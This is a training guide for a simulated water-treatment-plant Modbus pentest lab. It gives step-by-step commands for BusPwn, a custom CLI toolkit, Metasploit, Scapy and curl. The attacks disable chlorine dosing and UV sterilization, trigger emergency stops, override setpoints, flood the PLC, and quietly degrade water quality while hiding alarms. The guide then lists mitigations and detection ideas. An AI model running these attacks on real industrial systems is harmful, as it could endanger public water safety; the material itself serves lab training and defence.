OT / ICS SECURITY

MODBUS PENTEST LAB

COMPLETE TRAINING GUIDE

Water Treatment Plant Simulation

BusPwn · Custom Pentest Toolkit · Metasploit · Nmap · Wireshark

Target	Protocol	Classification
Water Treatment Plant PLC	Modbus TCP (Port 5020)	TRAINING / LAB ONLY

FOR AUTHORIZED EDUCATIONAL USE ONLY — DO NOT USE ON PRODUCTION SYSTEMS

aravindox7

01 LAB ARCHITECTURE & SETUP

Lab Overview

This lab simulates a Municipal Water Treatment Plant SCADA environment running a deliberately vulnerable Modbus TCP implementation. Three core components work together to create a realistic ICS/OT attack surface.

Component	File	Port	Purpose
PLC Simulator	plc_simulator.py	TCP 5020	Modbus TCP server, process simulation
HMI Web Server	hmi_server.py	HTTP 8080	Flask REST API + SCADA dashboard backend
HMI Dashboard	index.html	(served)	Industrial web interface, process diagram
Pentest Toolkit	modisy.py	—	Custom attack scripts (11 commands)
BusPwn Framework	pwn.py (BusPwn)	HTTP 5000	GUI Modbus hacking framework

aravind0x7

Starting the Lab

```
# Terminal 1 — Start PLC Simulator
cd ~/modbus
python3 plc_simulator.py 5020

# Terminal 2 — Start HMI Server
cd ~/modbus
PLC_PORT=5020 python3 hmi_server.py

# Terminal 3 — Start BusPwn
cd ~/BusPwn
python3 pwn.py
# Then open: http://127.0.0.1:5000

# Open HMI dashboard in browser
# http://localhost:8080
```

BusPwn Installation

```
git clone https://github.com/aravind0x7/BusPwn.git
cd BusPwn
pip install -r requirements.txt --break-system-packages
# or: pip install pymodbus flask --break-system-packages
```

Modbus Memory Map — Quick Reference

Coils (FC01/FC05) — Read/Write Bits

Address	Name	Default	Impact if Attacked
0x00	PUMP_1_RUN	ON	Main flow stops — tank drains
0x02	VALVE_INLET	ON	Inlet blocked — no intake
0x03	VALVE_OUTLET	ON	Outlet blocked — overpressure
0x04	CHLORINE_DOSING	ON	Water quality degrades
0x05	UV_STERILIZER	ON	Sterilization disabled
0x07	**EMERGENCY_STOP**	**OFF**	**ALL pumps halt instantly**

Holding Registers (FC03/FC06/FC10) — Read/Write 16-bit

Address	Name	Default	Notes
4x00	PUMP1_SETPOINT	500	Flow target L/min
4x01	TANK_LEVEL_HI	85	High alarm threshold %
4x03	PRESSURE_MAX	500	Max pressure kPa
4x04	CHLORINE_SP	150	Target Cl ppm x100
4x08	DOSING_RATE	65	Chlorine dose rate %
4x09	**MAINTENANCE_CODE**	**0xDEAD**	**VULN: plaintext credential in register**
4x10	SYSTEM_MODE	0=Auto	1=Manual 2=Maint 3=Emergency

aravindsx7

02 VULNERABILITY INDEX

The lab contains 14 intentional vulnerabilities across the PLC and HMI layers, mapped to real-world ICS/OT security weaknesses.

PLC Layer Vulnerabilities

ID	Vulnerability	CVSS-like Severity	Description
V-001	No Authentication	CRITICAL	Modbus TCP has no auth by design — any client can read/write
V-002	No Input Validation	HIGH	Coil/register writes accepted regardless of value or range
V-003	All FC Codes Enabled	HIGH	No function code whitelist — FC01 through FC43 all respond
V-004	Device Info Disclosure	MEDIUM	FC11/FC43 returns firmware version, vendor, model string
V-005	No Rate Limiting	HIGH	Unlimited requests per second — vulnerable to DoS flooding
V-006	FC16 Bulk Override	CRITICAL	Write Multiple Registers allows mass setpoint manipulation
V-007	Exception Code Leakage	LOW	Error responses reveal address bounds and internal structure
V-008	No Write Audit Logging	MEDIUM	Malicious writes go unrecorded at the PLC level

aravindnair

HMI Layer Vulnerabilities

ID	Vulnerability	Endpoint	Impact
V-HMI-001	No Web Auth	All routes	Full dashboard access without login
V-HMI-002	Unauth Write API	POST /api/coil, /api/register	Remote process control via HTTP
V-HMI-003	Debug Mode On	Any 500 response	Full Python stack traces exposed
V-HMI-004	CORS Wildcard	All responses	Any web origin can send write commands
V-HMI-005	Unauth Audit Log	GET /api/audit	Attack log readable without credentials
V-HMI-006	Credential in API	GET /api/status	Maintenance code 0xDEAD visible in JSON

03 BUSPWN FRAMEWORK — GUIDED ATTACKS

ℹ **SETUP** Launch BusPwn at http://127.0.0.1:5000. Target all attacks at 127.0.0.1 port 5020, Unit ID 1. Keep the HMI dashboard open at http://localhost:8080 to watch the process react in real time.

PHASE 1 — RECONNAISSANCE

Attack R-1: Modbus Device Scan

In BusPwn navigate to Modbus Scan. Enter the target details and run a full sweep.

Field	Value
Target IP	127.0.0.1
Port	5020
Unit ID Range	1 – 10
Scan Type	Full (Coils + Registers + Inputs)

Expected Findings:

Finding	Value	Vulnerability
Responding Unit ID	1	V-001 — No auth, open to all
Coils found	10 (addresses 0–9)	V-003 — FC01 fully open
Holding Registers	12 (addresses 0–11)	V-003 — FC03 fully open
HR[9] Maintenance Code	0xDEAD (57005 dec)	V-HMI-006 — Plaintext credential
FC11 Device ID	VulnPLC-WTP-001 FW:1.0.3	V-004 — Firmware version leak

arawindox7

Attack R-2: Device Enumeration via FC11 / FC43

In BusPwn's scan output, look for the Report Server ID section. The simulator responds with full device details — a real attacker would use this to search for firmware-specific CVEs.

```
# FC11 response will contain:
VulnPLC-WTP-001 | FW:1.0.3 | Vendor:ACME-ICS

# FC43 MEI Device Identification returns:
VendorName: VulnPLC-WTP
ProductCode: ACME-ICS-1
Revision:    1.0.3
```

⚠ **FINDING** Firmware version 1.0.3 by ACME-ICS is now searchable in CVE databases. In real engagements, version disclosure alone can pivot to known exploits.

PHASE 2 — COMMAND INJECTION

Attack CI-1: Stop Main Pump (FC05 — Write Single Coil)

Navigate to Command Injection in BusPwn. Use Function Code 05 to write coil address 0 to OFF.

Parameter	Value	Notes
Function Code	FC05 — Write Single Coil	Exploits V-001, V-002
Address	0x00 (PUMP_1_RUN)	Main water pump
Value	0x0000 (OFF)	0xFF00 = ON, 0x0000 = OFF
Unit ID	1	Default PLC unit

Observable Impact (watch HMI):

Flow Rate sensor drops toward 0 L/min over 5–10 seconds

Pump 1 indicator on process diagram goes dark

PUMP1_CURRENT (IR[8]) drops to 0 mA

If tank level drops below TANK_LEVEL_LO setpoint, ALARM fires

Attack CI-2: Trigger Emergency Stop (FC05 — Coil 7)

⚡ **IMPACT** Writing EMERGENCY_STOP coil ON immediately halts all pumps, triggers the alarm banner on the HMI, and sets SYSTEM_MODE to Emergency state. This is the most impactful single-write attack.

Parameter	Value
Function Code	FC05 — Write Single Coil
Address	0x07 (EMERGENCY_STOP)
Value	0xFF00 (ENGAGE)

To recover after the attack, write coil 0x07 = 0x0000 (OFF) to reset the E-Stop.

Attack CI-3: Disable Chlorine Dosing — Water Quality Attack

A two-step attack that disables the dosing pump AND zeros the chlorine setpoint, causing Cl PPM to fall to dangerous levels.

Step 1 — Stop dosing pump:

FC	Address	Value	Effect
FC05	0x04 (CHLORINE_DOSING)	0x0000 (OFF)	Dosing pump halts

Step 2 — Zero the setpoint:

FC	Address	Value	Effect
FC06	4x04 (CHLORINE_SP)	0	Target Cl set to 0 ppm

Attack CI-4: Override System Mode (FC06 — HR[10])

Mode Value	Meaning	Attack Impact
0	Auto	Normal operation
1	Manual	Disables automatic control loops
2	Maintenance	Unlocks calibration registers
3	Emergency	Forces all outputs to safe state (or unsafe if logic is flawed)

```
# BusPwn: Command Injection → FC06
Address: 10    (4x10 SYSTEM_MODE)
Value:   2     (Maintenance mode — unlocks calibration)
# Then write to normally-locked calibration registers
```

PHASE 3 — BULK REGISTER OVERRIDE (FC16)

Attack BK-1: Mass Setpoint Manipulation

⚠ **V-006** FC16 (Write Multiple Registers) allows overriding all setpoints in a single packet. This is equivalent to a process engineer reconfiguring the entire plant — with no authentication required.

Register	Name	Normal	Attack Value	Effect
HR[0]	PUMP1_SETPOINT	500	9999	Max flow — cavitation risk
HR[1]	TANK_LEVEL_HI	85	5	Constant high-level alarm
HR[2]	TANK_LEVEL_LO	15	99	Immediate low-level alarm
HR[3]	PRESSURE_MAX	500	1	Every reading triggers alarm
HR[4]	CHLORINE_SP	150	0	Water quality target zeroed

In BusPwn select FC16 (Write Multiple Registers), start address 0, and enter values: 9999, 5, 99, 1, 0

PHASE 4 — CREDENTIAL EXTRACTION

Attack CR-1: Read Maintenance Code from HR[9]

The maintenance authentication code is stored in plain Holding Register 9. Any Modbus client can read it with FC03.

Step	Action	Result
1	BusPwn Scan → Read Holding Registers 0–11	All registers returned
2	Locate HR[9] MAINTENANCE_CODE in output	57005 decimal / 0xDEAD hex

arainox7

Step	Action	Result
3	Also readable via HMI API:	GET http://localhost:8080/api/status
4	JSON key: setpoints.maintenance_code	Visible without authentication

PHASE 5 — DENIAL OF SERVICE

Attack DoS-1: Request Flood

Navigate to DoS in BusPwn. Set target 127.0.0.1:5020 and enable maximum rate. No rate limiting means all requests are processed.

Parameter	Value
Target	127.0.0.1:5020
Interval	1 ms (minimum)
Duration	30 seconds
Expected	PLC simulator logs rapid connections; HMI dashboard becomes unresponsive

OBSERVATION Watch Terminal 1 (PLC) — you will see rapid [CONNECT]/[DISCONNECT] log entries. The HMI at port 8080 may time out as all PLC threads are consumed by the flood.

aravindox7

04 CUSTOM PENTEST TOOLKIT

The included modisy.py provides a command-line toolkit with 11 attack modules. It operates directly against the PLC without going through the HMI.

Command Reference

Command	FC Used	Description	Example
scan	FC01/FC03	Sweep unit IDs 1–247	python3 modisy.py -p 5020 scan
dump	FC01/FC03/FC04	Full memory dump	python3 modisy.py -p 5020 dump
enum	FC11/FC43	Device info enumeration	python3 modisy.py -p 5020 enum
coil-write	FC05	Write single coil ON/OFF	python3 modisy.py -p 5020 coil-write 0 0
reg-write	FC06	Write single holding register	python3 modisy.py -p 5020 reg-write 9 0xBEEF
bulk-write	FC16	Write multiple registers	python3 modisy.py -p 5020 bulk-write 0 9999,5,99
estop	FC05	Trigger emergency stop (coil 7)	python3 modisy.py -p 5020 estop
read-secret	FC03	Extract maintenance code HR[9]	python3 modisy.py -p 5020 read-secret
fuzz	FC01–FC7F	Fuzz all 127 function codes	python3 modisy.py -p 5020 fuzz
flood	FC03	DoS — no rate limiting	python3 modisy.py -p 5020 flood --count 2000
replay	Raw PDU	Send raw hex Modbus PDU	python3 modisy.py -p 5020 replay 010000000A

arayin007

Full Attack Sequence via CLI

```
# 1. Discover the device
python3 modisy.py -H 127.0.0.1 -p 5020 scan --max-uid 10

# 2. Enumerate device identity
python3 modisy.py -p 5020 enum

# 3. Full memory dump
python3 modisy.py -p 5020 dump

# 4. Extract maintenance code
python3 modisy.py -p 5020 read-secret

# 5. Manipulate process — close inlet valve
python3 modisy.py -p 5020 coil-write 2 0

# 6. Kill chlorine dosing
python3 modisy.py -p 5020 coil-write 4 0
python3 modisy.py -p 5020 reg-write 4 0

# 7. Bulk setpoint override
python3 modisy.py -p 5020 bulk-write 0 9999,5,99,1,0

# 8. Trigger E-Stop
python3 modisy.py -p 5020 estop
```

```
# 9. DoS test
python3 modisy.py -p 5020 flood --count 2000

# 10. Fuzz all function codes
python3 modisy.py -p 5020 fuzz -v

# RECOVERY — reset E-Stop and restore defaults
python3 modisy.py -p 5020 coil-write 7 0
python3 modisy.py -p 5020 coil-write 0 1
python3 modisy.py -p 5020 bulk-write 0 500,85,15,500,150
```

aravind0x7

05 OTHER TOOLS — NMAP · METASPLOIT · WIRESHARK

NMAP — Service Discovery & Scripting

Basic Modbus Discovery

```
# Detect Modbus service
nmap -p 5020 --open 127.0.0.1

# Full service version scan
nmap -sV -p 5020 127.0.0.1

# Run Modbus NSE scripts
nmap -p 5020 --script modbus-discover 127.0.0.1

# Enumerate Modbus unit IDs
nmap -p 5020 --script modbus-discover --script-args modbus-discover.aggressive=true
127.0.0.1
```

Expected nmap Output

nmap Field	Expected Value
Port	5020/tcp open
Service	modbus
Unit IDs discovered	1
Script output	Slave ID, coil count, register count

aravindox7

METASPLOIT — Modbus Modules

Setup

```
msfconsole

# Search available Modbus modules
msf> search modbus
```

Module 1 — modbus_findunitid

```
msf> use auxiliary/scanner/scada/modbus_findunitid
msf> set RHOSTS 127.0.0.1
msf> set RPORT 5020
msf> run
# Result: [+] 127.0.0.1:5020 - Unit ID 1 found
```

Module 2 — modbusdetect

```
msf> use auxiliary/scanner/scada/modbusdetect
```

```
msf> set RHOSTS 127.0.0.1
msf> set RPORT 5020
msf> run
# Identifies Modbus service and grabs banner/device info
```

Module 3 — modbus_client (Read/Write)

```
msf> use auxiliary/scanner/scada/modbus_client
msf> set RHOSTS 127.0.0.1
msf> set RPORT 5020
msf> set UNIT_ID 1

# Read holding registers 0-11
msf> set FUNC READ_HOLDING_REGISTERS
msf> set DATA_ADDRESS 0
msf> set DATA_LENGTH 12
msf> run

# Write coil — stop pump 1
msf> set FUNC WRITE_COIL
msf> set DATA_ADDRESS 0
msf> set DATA 0
msf> run

# Write register — trigger emergency mode
msf> set FUNC WRITE_REGISTER
msf> set DATA_ADDRESS 10
msf> set DATA 3
msf> run
```

WIRESHARK — Traffic Analysis & Packet Crafting

Capture Filter

```
# Open Wireshark, select loopback interface (lo)
# Apply capture filter:
tcp port 5020

# Or display filter after capture:
modbus
tcp.port == 5020
```

What to Look For in Captures

Modbus Field	Location in Wireshark	What to Note
Transaction ID	MBAP Header bytes 0–1	Increments per request — replay if static
Function Code	Byte 7 of packet	0x05/0x06/0x10 = write operations
Unit ID	MBAP Header byte 6	Should only be 1 in this lab
Register Address	PDU bytes 1–2	HR[9] reads = credential access
Register Value	PDU bytes 3–4 (writes)	0xDEAD = maintenance code found
Exception Response	FC | 0x80 in byte 7	Reveals which addresses are valid

Replay Attack with Scapy

```
from scapy.all import *

# Craft FC05 — Write coil 7 ON (Emergency Stop)
# MBAP: TID=0x0001 Protocol=0x0000 Len=0x0006 UnitID=0x01
# PDU:  FC=0x05 Addr=0x0007 Value=0xFF00
payload = bytes.fromhex("000100000006010500070 0FF00")

pkt = IP(dst="127.0.0.1") / TCP(dport=5020) / Raw(load=payload)
send(pkt)

# Capture a legitimate write in Wireshark first,
# then replay it — no auth = replay attacks work perfectly
```

aravind0x7

06 HMI REST API ATTACKS

The HMI server exposes a REST API with no authentication (V-HMI-001 through V-HMI-006). These attacks bypass Modbus entirely and manipulate the PLC through the web layer.

API Endpoint Map

Method	Endpoint	Auth?	Function
GET	/api/status	NONE	Full PLC state including maintenance code
POST	/api/coil/:addr	NONE	Write any coil — pump/valve control
POST	/api/register/:addr	NONE	Write any holding register
POST	/api/bulk_write	NONE	FC16 multi-register override
GET	/api/device_info	NONE	FC11 device identification leak
GET	/api/audit	NONE	Full write audit log — unprotected
GET	/api/raw_read?fc=&start=	NONE	Arbitrary Modbus read via HTTP

curl Attack Playbook

```
# --- RECONNAISSANCE ---

# Read full PLC state (includes maintenance code)
curl http://localhost:8080/api/status | python3 -m json.tool

# Extract maintenance code specifically
curl -s http://localhost:8080/api/status | python3 -c \
  "import sys,json; d=json.load(sys.stdin);
print(hex(d['setpoints']['maintenance_code']))"
# Output: 0xdead

# Read device info (FC11 via API)
curl http://localhost:8080/api/device_info

# Read audit log without credentials
curl http://localhost:8080/api/audit

# --- PROCESS MANIPULATION ---

# Stop pump 1
curl -X POST http://localhost:8080/api/coil/0 \
  -H "Content-Type: application/json" -d '{"value": false}'

# Trigger emergency stop
curl -X POST http://localhost:8080/api/coil/7 \
  -H "Content-Type: application/json" -d '{"value": true}'

# Overwrite maintenance code
curl -X POST http://localhost:8080/api/register/9 \
  -H "Content-Type: application/json" -d '{"value": 65535}'
```

```
# Bulk setpoint override (worst-case attack)
curl -X POST http://localhost:8080/api/bulk_write \
  -H "Content-Type: application/json" \
  -d '{"start": 0, "values": [9999, 5, 99, 1, 0, 900, 600, 400, 0]}'

# --- CORS EXPLOITATION (from any webpage) ---
# Paste in browser dev console (F12) on ANY site:
fetch("http://localhost:8080/api/coil/7",{method:"POST",
  headers:{"Content-Type":"application/json"},
  body:JSON.stringify({value:true})})
```

aravind0x7

07 COMPLETE ATTACK SCENARIOS

Scenario A — Stealthy Reconnaissance + Credential Theft

Goal: Extract the maintenance code and device info without triggering alarms. Read-only operations.

Step	Tool	Command / Action	Data Extracted
1	nmap	nmap -p 5020 --script modbus-discover 127.0.0.1	Unit ID, service version
2	BusPwn	Modbus Scan → Full scan Unit 1	All coils, registers
3	CLI Toolkit	python3 modisy.py -p 5020 enum	Firmware, vendor, model
4	CLI Toolkit	python3 modisy.py -p 5020 read-secret	0xDEAD maintenance code
5	curl	GET /api/status | grep maintenance_code	Confirms via HMI API

ℹ **STEALTH NOTE** All steps above are read-only. No alarms fire. The PLC logs show only FC03/FC04/FC01 reads — which many ICS environments do not alert on.

Scenario B — Destructive Process Attack (Full Chain)

Goal: Maximally disrupt the water treatment process using a coordinated multi-step attack.

Step	Tool	Attack	Effect
1	CLI	coil-write 5 0 (UV off)	Sterilization disabled
2	CLI	coil-write 4 0 (Cl dosing off)	Chemical treatment stops
3	CLI	reg-write 4 0 (Cl setpoint = 0)	Target Cl zeroed
4	CLI	coil-write 3 0 (outlet valve close)	Pressure builds
5	CLI	reg-write 0 9999 (max flow setpoint)	Pump tries to overspeed
6	CLI	bulk-write 1 5,99,1 (alarm setpoints)	Alarms fire immediately
7	CLI	estop (coil 7 ON)	All pumps halt — full shutdown

⚠ **KEY LEARNING** The entire chain from step 1–7 can be completed in under 10 seconds. No authentication is checked at any point. This illustrates why Modbus TCP should never be exposed on untrusted networks.

Scenario C — Persistent Sabotage via Setpoint Manipulation

Goal: Cause subtle, hard-to-detect process degradation by manipulating setpoints without triggering obvious alarms.

```
# Slightly raise max pressure — normal-looking but degrades lifespan
python3 modisy.py -p 5020 reg-write 3 480

# Lower chlorine setpoint just enough to reduce effectiveness
python3 modisy.py -p 5020 reg-write 4 60   # was 150 (1.50ppm)

# Reduce dosing rate subtly
python3 modisy.py -p 5020 reg-write 8 20   # was 65%

# Widen pH alarm bands so operator notices nothing
python3 modisy.py -p 5020 reg-write 5 850  # pH Hi alarm
python3 modisy.py -p 5020 reg-write 6 600  # pH Lo alarm

# Verify changes look legitimate
python3 modisy.py -p 5020 dump
```

INSIGHT This scenario demonstrates why data integrity is as important as confidentiality in ICS environments. The plant continues operating but produces substandard output with no obvious alerts.

aravind0x7

08 MITIGATIONS & DEFENSIVE RECOMMENDATIONS

After completing the exercises, study how each vulnerability should be remediated in a real OT environment.

Vulnerability	Mitigation	Standard / Reference
V-001 No Auth	Deploy IEC 62351-5 or wrap Modbus in TLS/IPSec VPN. Use OPC-UA with security profiles where possible.	IEC 62351, NERC CIP-005
V-002 No Validation	Implement range checks on all writes. Reject out-of-range values at the PLC. Use safety-rated PLCs.	IEC 61511
V-003 All FC Enabled	Whitelist only required function codes (e.g. FC01, FC03, FC04 for read-only HMI). Block FC05/FC06 at firewall.	NIST SP 800-82
V-004 Device Info Leak	Disable FC11 and FC43 in PLC config. Use unidirectional gateways or data diodes.	ICS-CERT Best Practices
V-005 No Rate Limiting	Implement connection throttling on the PLC. Use OT-aware firewalls (Claroty, Dragos, Nozomi).	NIST SP 800-82
V-006 FC16 Bulk Write	Block FC16 (0x10) at the network layer. Only allow FC06 single-register writes from authenticated HMI.	IEC 62443-3-3
V-HMI-001 No Web Auth	Require authentication on all HMI routes. Use role-based access (operator/engineer/admin).	OWASP A01, IEC 62443
V-HMI-006 Credential Leak	Never store credentials in Modbus registers. Use out-of-band authentication systems.	CWE-312

arminax7

Detection Opportunities

Attack	Detection Method	Alert Condition
Coil writes	Log all FC05 writes with source IP and timestamp	Any write from unexpected IP
Register writes	Compare setpoints to known-good baseline	Value outside engineering limits
FC11/FC43 requests	Alert on device ID queries	Only expected during maintenance
DoS flood	Monitor connection rate per source IP	More than 10 connections/sec
E-Stop write	Immediate critical alert on coil 7 going ON	Any write to safety coil
Credential read	Alert on FC03 read of HR[9]	Any access to maintenance register

09 QUICK REFERENCE CHEAT SHEET

Attack Commands — All Tools

Goal	Tool	Command
Scan unit IDs	CLI	python3 modisy.py -p 5020 scan
Full memory dump	CLI	python3 modisy.py -p 5020 dump
Device fingerprint	CLI	python3 modisy.py -p 5020 enum
Read secret credential	CLI	python3 modisy.py -p 5020 read-secret
Stop pump 1	CLI	python3 modisy.py -p 5020 coil-write 0 0
Emergency stop	CLI	python3 modisy.py -p 5020 estop
Reset E-Stop	CLI	python3 modisy.py -p 5020 coil-write 7 0
Bulk setpoint attack	CLI	python3 modisy.py -p 5020 bulk-write 0 9999,5,99,1,0
Fuzz function codes	CLI	python3 modisy.py -p 5020 fuzz -v
DoS flood	CLI	python3 modisy.py -p 5020 flood --count 2000
Web E-Stop	curl	curl -X POST localhost:8080/api/coil/7 -d '{"value":true}'
Web bulk override	curl	curl -X POST localhost:8080/api/bulk_write -d '{"start":0,"values":[9999,5,99]}'
Read secret via web	curl	curl -s localhost:8080/api/status | python3 -m json.tool
nmap discovery	nmap	nmap -p 5020 --script modbus-discover 127.0.0.1
MSF unit scan	Metasploit	use auxiliary/scanner/scada/modbus_findunitid
Wireshark filter	Wireshark	tcp.port == 5020 or modbus

arajmo27

Modbus Function Code Reference

FC (Hex)	Name	Supported in Lab	Notes
0x01	Read Coils	YES	Reads pump/valve states
0x02	Read Discrete Inputs	YES	Read-only sensor flags
0x03	Read Holding Registers	YES	Setpoints + secret HR[9]
0x04	Read Input Registers	YES	Live sensor values
0x05	Write Single Coil	YES	Pump/valve control — VULN
0x06	Write Single Register	YES	Setpoint override — VULN
0x0F	Write Multiple Coils	YES	Bulk coil write — VULN
0x10	Write Multiple Registers	YES	Mass override — V-006 CRITICAL
0x11	Report Server ID	YES	Firmware leak — V-004
0x2B	Read Device ID (MEI)	YES	Full device info — V-004

FC (Hex)	Name	Supported in Lab	Notes
0x07–0x0E	Others	EXCEPTION	Returns FC exception code 0x01

⚠ **LEGAL DISCLAIMER** This lab and all techniques described herein are for authorized educational use only. Never apply these techniques to production systems, real ICS/OT infrastructure, or any system without explicit written authorization. Unauthorized access to industrial control systems is a criminal offense in most jurisdictions.

aravind0x7